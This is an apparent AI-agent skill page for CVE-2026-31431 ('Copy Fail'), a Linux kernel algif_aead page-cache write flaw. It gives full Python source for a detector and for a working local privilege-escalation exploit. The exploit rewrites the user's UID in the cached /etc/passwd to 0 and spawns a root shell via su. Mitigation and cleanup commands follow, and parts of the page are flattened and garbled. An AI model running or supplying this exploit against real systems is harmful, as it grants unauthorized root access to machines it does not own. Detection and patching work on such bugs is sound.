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Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
npx skill4agent add aradotso/trending-skills cve-2026-31431-copy-failSkill by ara.so — Daily 2026 Skills collection.
algif_aeadauthencesn(hmac(sha256),cbc(aes))splice()/etc/passwd72548b093ee3git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version # requires 3.10+| File | Purpose |
|---|---|
| Non-destructive detector; operates only on a temp sentinel file |
| LPE; flips UID to 0 in |
python3 test_cve_2026_31431.py012# Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)
python3 exploit_cve_2026_31431.py
# Patch and spawn root shell via su
python3 exploit_cve_2026_31431.py --shellsendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # returns EBADMSG; scratch write has already landedauthencesnseqno_losplice()test_cve_2026_31431.pyimport os, socket, struct, tempfile, ctypes
MARKER = b'PWND'
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
def check_preconditions():
"""Verify AF_ALG and authencesn algorithm are reachable."""
try:
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
})
sock.close()
return True
except (OSError, AttributeError):
return False
def write4(target_path, file_offset, payload_4bytes):
"""
Write exactly 4 bytes into the page cache of target_path at file_offset
using the algif_aead splice path. The auth check will fail (EBADMSG)
but the scratch write fires regardless.
"""
assert len(payload_4bytes) == 4
# Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
aes_key = bytes(32)
hmac_key = bytes(32)
key = hmac_key + aes_key # authencesn key layout
# Create AF_ALG socket bound to the vulnerable algorithm
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
'authsize': 32,
})
alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
op_fd, _ = alg_sock.accept()
# 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload
# Send AAD inline via sendmsg with control messages
iv = bytes(16) # CBC IV
cmsg = [
(socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0
(socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv),
(socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
]
op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)
# splice the target file's page-cache page into the op socket
pipe_r, pipe_w = os.pipe()
target_fd = os.open(target_path, os.O_RDONLY)
os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
os.splice(pipe_r, op_fd, 32)
# Drive the decryption — EBADMSG expected; scratch write already fired
try:
op_fd.recv(64)
except OSError:
pass # EBADMSG is expected
os.close(pipe_r)
os.close(pipe_w)
os.close(target_fd)
op_fd.close()
alg_sock.close()
def detect():
if not check_preconditions():
print("Precondition not met — AF_ALG or authencesn unavailable")
return 0
with tempfile.NamedTemporaryFile(delete=False) as f:
sentinel_path = f.name
f.write(b'\x00' * 4096)
try:
# Populate page cache
with open(sentinel_path, 'rb') as f:
f.read()
write4(sentinel_path, 0, MARKER)
# Read back from page cache
with open(sentinel_path, 'rb') as f:
data = f.read(16)
if MARKER in data:
print("VULNERABLE to CVE-2026-31431")
return 2
elif data != b'\x00' * 16:
print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
return 2
else:
print("Page cache intact — not vulnerable")
return 0
finally:
os.unlink(sentinel_path)
if __name__ == '__main__':
raise SystemExit(detect())exploit_cve_2026_31431.pyimport os, pwd, subprocess
def find_uid_offset(username):
"""Find the byte offset of the UID field in /etc/passwd for username."""
with open('/etc/passwd', 'rb') as f:
content = f.read()
for line in content.split(b'\n'):
if line.startswith(username.encode() + b':'):
fields = line.split(b':')
# fields[2] is the UID
offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
uid_field = fields[2]
return offset, uid_field
raise ValueError(f"User {username!r} not found in /etc/passwd")
def exploit(username, spawn_shell=False):
uid_offset, uid_field = find_uid_offset(username)
if len(uid_field) != 4:
raise ValueError(
f"UID {uid_field.decode()!r} is not 4 digits — "
"1-3 digit UIDs require multi-shot writes"
)
print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
write4('/etc/passwd', uid_offset, b'0000')
# Verify libc now reports UID 0
entry = pwd.getpwnam(username)
if entry.pw_uid != 0:
print("[!] getpwnam still returns original UID — NSS cache may be active")
print(" Try: sudo systemctl stop nscd sssd systemd-userdbd")
return
print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")
if spawn_shell:
print(f"[*] Spawning root shell via: su {username}")
print("[*] Enter your own password at the prompt")
os.execvp('su', ['su', username])
else:
print("[*] Dry-run complete. Page cache will be evicted on exit.")
# Auto-evict corrupted page on exit
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
if __name__ == '__main__':
import sys
username = os.environ.get('USER') or os.getlogin()
spawn_shell = '--shell' in sys.argv
exploit(username, spawn_shell)/etc/passwdnscdsssdsystemd-userdbd/etc/passwdsu/etc/passwd# From unprivileged user — evict corrupted page:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"
# From root shell — drop all page caches:
echo 3 > /proc/sys/vm/drop_caches
# Or simply reboot# Disable algif_aead module permanently
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null
# Verify — detector should now report "Precondition not met"
python3 test_cve_2026_31431.py| Symptom | Cause | Fix |
|---|---|---|
| | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| | |
| NSS cache active | Stop |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | | Pad UID field manually or extend |